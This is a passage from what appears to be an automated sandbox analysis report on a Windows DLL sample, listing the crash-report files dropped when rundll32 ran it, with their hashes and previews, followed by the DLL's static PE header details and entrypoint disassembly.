Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.8.4.8.9.7.7.1.8.0.7.9.2.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.8.4.8.9.7.8.5.3.0.7.8.7.8.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.3.0.7.d.7.4.-.0.d.6.2.-.4.1.7.b.-.9.1.e.7.-.d.f.c.3.1.2.a.3.4.3.7.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.1.8.9.4.e.1.0.-.5.c.1.9.-.4.b.0.0.-.8.2.8.1.-.f.7.f.b.f.f.4.8.f.a.c.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.9.4.-.0.0.0.1.-.0.0.1.7.-.6.b.8.3.-.b.b.f.1.2.8.b.f.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.b.5.f.!.r.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_b6db214dd89db871c3cf2d8284ebed8c4377271_82810a17_100904dc\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12046
Entropy (8bit):	3.76447609928904
Encrypted:	false
SSDEEP:	192:Ad+cXiD90oXsHBUZMX4jed+x/u7saS274It7cT:fMivX0BUZMX4je8/u7saX4It7cT
MD5:	6966D2DE44EA08463E24DC6266A2BD41
SHA1:	911E751B87C1897695187DE7908162AD7D038969
SHA-256:	D9BDFF4D0A3F508176975EFAFDF05D2B054631B19B3F2A50ACD16C778C079452
SHA-512:	A454046986DFFF654AF9190CB5F78F6140CA0D56EFED5899412D51031B1B8C3B7D58DEE465F42CDBEDED5ACBBF3B3AF81476CA9812EB583324EEADD1BF416EC5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.8.4.8.9.7.6.4.4.9.1.1.7.7.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.8.4.8.9.7.7.6.9.9.1.1.8.6.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.8.8.d.0.b.3.-.1.2.e.f.-.4.4.e.a.-.b.1.f.6.-.f.4.f.6.8.b.1.8.f.f.5.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.f.a.a.4.c.e.d.-.e.d.2.4.-.4.4.a.d.-.9.c.7.0.-.2.6.9.f.7.b.8.d.f.6.f.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.1.c.-.0.0.0.1.-.0.0.1.7.-.f.2.5.4.-.c.0.e.f.2.8.b.f.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.b.5.f.!.r.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_b6db214dd89db871c3cf2d8284ebed8c4377271_82810a17_138537a4\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12040
Entropy (8bit):	3.765226129606169
Encrypted:	false
SSDEEP:	192:p5PiC0oXLHBUZMX4jed+5/u7saS274It7ch:3PiEXrBUZMX4jeU/u7saX4It7ch
MD5:	0F87890F31929D46E5A324BE411D2771
SHA1:	F4D138ED901D0135ED6BB5E44388B7B98049B4FE
SHA-256:	396C82499FDCB028697834E0C62EC26902DE680353A1026F52440EAE35B596F6
SHA-512:	BD659BA4494ECDFF31420ACCDE586D5368017F55142FFBC306D02E8D8BD83FABA4B2F17B7021B225F746CFB493A1891E6DABF83EFE96071598CBA0EED440D4CE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.8.4.8.9.7.7.8.4.1.4.6.9.4.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.8.4.8.9.7.9.0.2.2.7.1.1.2.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.9.2.5.f.3.0.0.-.c.3.5.b.-.4.8.f.9.-.b.3.8.e.-.f.7.1.8.6.1.e.9.d.2.4.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.c.b.e.1.b.6.7.-.4.2.5.4.-.4.9.8.8.-.b.3.5.9.-.8.9.4.e.9.4.c.3.5.d.0.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.2.d.4.-.0.0.0.1.-.0.0.1.7.-.b.5.1.8.-.d.e.f.5.2.8.b.f.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.b.5.f.!.r.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5812.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Oct 12 05:22:46 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	34688
Entropy (8bit):	2.4160053350772017
Encrypted:	false
SSDEEP:	192:2tw6oTiQYP5MFmpISGG+0oszTU70dIQlI+qSnUHvt:Cl0iQmqFo/+0oszTHlICUHF
MD5:	69E0098DB631036EA0E7709B73A4F1E9
SHA1:	DF2D3146532E75A09BC35F01EC76D0B5FCDC82EB
SHA-256:	73F8F7567A24A1BEAC9B127BC8C45CEE542B9C69DBD7778B1203B3AD9FDF8CD6
SHA-512:	7E9DB7BCD6B553237108465F1B1BEF6F7ADD51973855857D98C1A108F460E08E41EAED621FACB460ACDC5832DC004E7EAA3DC88DA1D12B6A49C835037FE6F814
Malicious:	false
Preview:	MDMP....... .........ea...................U...........B..............GenuineIntelW...........T...........9.ea!............................0..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5FB4.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8410
Entropy (8bit):	3.694304201114169
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiKjN6qYXt6YiG6njLxpmOfgmf8KSjCprk89bWrsfRpym:RrlsNisN69t6Yz6XxpmOfgmf8KSqWwf7
MD5:	EFB89DDE8AB49502174519293907AF20
SHA1:	04E6F1303221AC02094CF8518300D818472DD6FC
SHA-256:	8D2E010E54013D580C46E65ECCA4AEB8C476C3ABE0ACE86EAD794786DF94FEC2
SHA-512:	0EACD5C1C8962283DE088655A9287934F52F2BCCA7350850F57E6A7BDBEA7DE4CA54BF968C8E773096F8C25FBECC4AA5870701575415BC09B8CE6E0B4CD37FEE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.8.9.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER64C6.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.4824130026256634
Encrypted:	false
SSDEEP:	48:cvIwSD8zsUrJgtWI9zuC3ugWSC8Bo8fm8M4JCds0MFN+q8vjs0E4SrSNd:uITfA02SNPJSUKREDWNd
MD5:	57567DB7EFBD3698518DA782470DDB05
SHA1:	9F9EEF89CA1DF1F6C49BC541985BB8893E0FF193
SHA-256:	E72BEB87956ABF950B1AF529948E60BA4DB43E5BAED0F1A982CB3153F603E041
SHA-512:	32A2BDE59E8F5108F7D437EF56376DCDBB76AFD1BBFDDD8E759D2C8687D94765858EB58DEBC4E0A923FE1984AD642A9D152CF1F753EBE96B7585B7A5E480A6D5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1206153" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER74B2.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Oct 12 05:22:57 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	35410
Entropy (8bit):	2.3895077902606845
Encrypted:	false
SSDEEP:	192:zNHKylVGslNP5MFmpISGG+0fsztU+PyVUFEQ60J0TQnHKhz1:BqlsnqFo/+0fsztBS0EQcsHKB1
MD5:	D9B9F9C0C0CE14A6C3960BDB2EFE1B8A
SHA1:	C3D13D526D858507F7731F290483DE6625468F1C
SHA-256:	32E412A27B4E5261B9048FF657B36A92543E7CA13711F21325C213E3F4DE3253
SHA-512:	C7FD68FC0008261FEA3AD726FFE4D5451F5AEF1D079B9D95DA4E15EC01F4E9DF6D62D9D3922FD55A64DFFBF2782F9874F8BD6123CEEA8036B386FC5CE28E17A4
Malicious:	false
Preview:	MDMP....... .........ea...................U...........B..............GenuineIntelW...........T...........<.ea!............................0..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8CB0.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8410
Entropy (8bit):	3.6968806045802087
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/MA6d6Yiz6egmf8KSjCprI89b5bsfZlTm:RrlsNir6d6Y26egmf8KSu5gfu
MD5:	EBAAF589AB7642BA9E2C2FCA4BA7643F
SHA1:	8A163AEF211471C8A58515B29BA2CFEF3ABA6407
SHA-256:	2AF27F59684D80A42AFA5AB9C10B2F48EC5BBA45254883C77A765223025D295E
SHA-512:	28736FB6DC05101C36D253357D0952D6F39C738465BFFE56EBC1277A1B423D6CFBB3CF22C11FB990B44A119F924717B32870A77C13B98E955F99A5A17850EE9E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.8.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8E83.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Oct 12 05:23:02 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	34358
Entropy (8bit):	2.4529576435604046
Encrypted:	false
SSDEEP:	192:7YWQ8iDfq/EQU6MP5MFmpISGG+0ZsztUw5x1lCzQxn0u9nPOUro:UWQ8yZQU6KqFo/+0ZsztbnC8xTPhro
MD5:	CBC4BA1DD7DB92DCAA1B6FEE4F65D535
SHA1:	4633B03471C838D738A9230275E7D7CD46D114F1
SHA-256:	1EB278AC6DD52B65E6D854C38AD72479B120D420254880D01BAD6A4E0FFA9BD9
SHA-512:	02168ADB945C123FA25E324486FF0EE86B925685A725BD53C66435787E8A0A8A6115AC0D3D05DA759C93DE4D9133BAF3F709CB7A36761FE4C98DD0BE0BA9BDD2
Malicious:	false
Preview:	MDMP....... .........ea...................U...........B..............GenuineIntelW...........T...........C.ea!............................0..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER90C7.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.48394283736822
Encrypted:	false
SSDEEP:	48:cvIwSD8zsUrJgtWI9zuC3ugWSC8BX8fm8M4JCds0MFlQk+q8vjs0X4SrSmd:uITfA02SNCJSGKRXDWmd
MD5:	FC7A4C4098B95440D6BF73B0D44641D5
SHA1:	5713B15627CBF4B44277F821286BF4BC9E10E966
SHA-256:	CBF9A06B7C5F3235E7F78416638F61EEC6FB7230FF9ED4CA6053B2BB1B133116
SHA-512:	4F1EB3DBCA84729454BB7D5B7B84523AEF03F39BF612078A68F292374A462710C06F5268597A6DD2CE63E0106844164315CE6D9B356F09269AD944CC79572477
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1206153" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9FBB.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8406
Entropy (8bit):	3.6964337125203657
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi8x6b6Yiy6egmf8KSjCprd89beJsf2Km:RrlsNiq6b6Y36egmf8KSheify
MD5:	C861E33E7AC2C616B1134851B9572611
SHA1:	87C3BDA6468AF3574B321E7C8FB67C4D2BB1EA1A
SHA-256:	1448514E2F079972558625A8BD6F8598B3726E3EFDD36D3DB7BEA7E3D48A236D
SHA-512:	E69CEE46F0A487E31148F53F13D8F5D0060AF255AEEE4AE52BAE42B0F8D5CD4197EE8B4343F95173075860012A20402387763D8876377BF65ADF143EEF9F72C8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.4.<./.P.i.d.>.........

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5F5.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.484146537656321
Encrypted:	false
SSDEEP:	48:cvIwSD8zsUrJgtWI9zuC3ugWSC8BfK8fm8M4JCds0MFG/+q8vjs0X4SrSpd:uITfA02SNpJSFKRXDWpd
MD5:	38A92FED97B3B67E713096B18C5E2945
SHA1:	E804A79C99EB3D9002A7FEFC10C95107BC42B30A
SHA-256:	35A4309E917383635996A11E469EC2BDFD1603F4332E58B8F739B1EAD08331AD
SHA-512:	F45EA9B7B0D3C7D656210F0C49BC8ACE84ACABF62094E56B955171D7C14F85619A1FCF97943465369259280C92EE70E7A6A56B791709F4CEB44B295790BEDE66
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1206153" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.67002840473361
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	B6VQd36tt6.dll
File size:	718336
MD5:	c4c060ec6b1e42d70972d0af66a04e66
SHA1:	3ef84847fceb31b8814c12c94c57c72a5281d6f5
SHA256:	47715e425398283d53019c270311ad0c709f660048d2f884d5116d80b983743f
SHA512:	5553d68867af378d347620208b35d4d6261526770cf2a47884f0eff17392cedfa91ab491265717a459b4ccbe43f490a90caaf9289b9f92e8cd63140710e9ca78
SSDEEP:	12288:QUAQSxT6fDEr8Np6b/rPPsjosrS9aEoe+0JCym+4YJAOSVUNcuHIGF4uW/XPGAsx:Qz3xT6fq8Np6bTPPaBreaZlYCOSVolam
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<..Ox.`.x.`.x.`..~..{.`.q...m.`...b.\|.`...e.q.`...c.l.`..~..o.`.x.a...`...e...`...`.y.`...`.y.`.x...y.`...b.y.`.Richx.`........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1003ab77
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5F6FEFFF [Sun Sep 27 01:50:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8acc1c3be9064cb55c8e3d7147f3d7c3

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FA874E29C47h
call 00007FA874E2A732h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FA874E29AEAh
add esp, 0Ch
pop ebp
retn 000Ch
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007FA874E29843h
jmp 00007FA874E29C20h
mov ecx, dword ptr [ebp-14h]
xor ecx, ebp
call 00007FA874E29832h
jmp 00007FA874E29C0Fh
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [100AA0D4h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [100AA0D4h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
inc dword ptr fs:[eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xa8990	0x80	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa8a10	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x146000	0x53d0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa474c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa47a0	0x40	.rdata
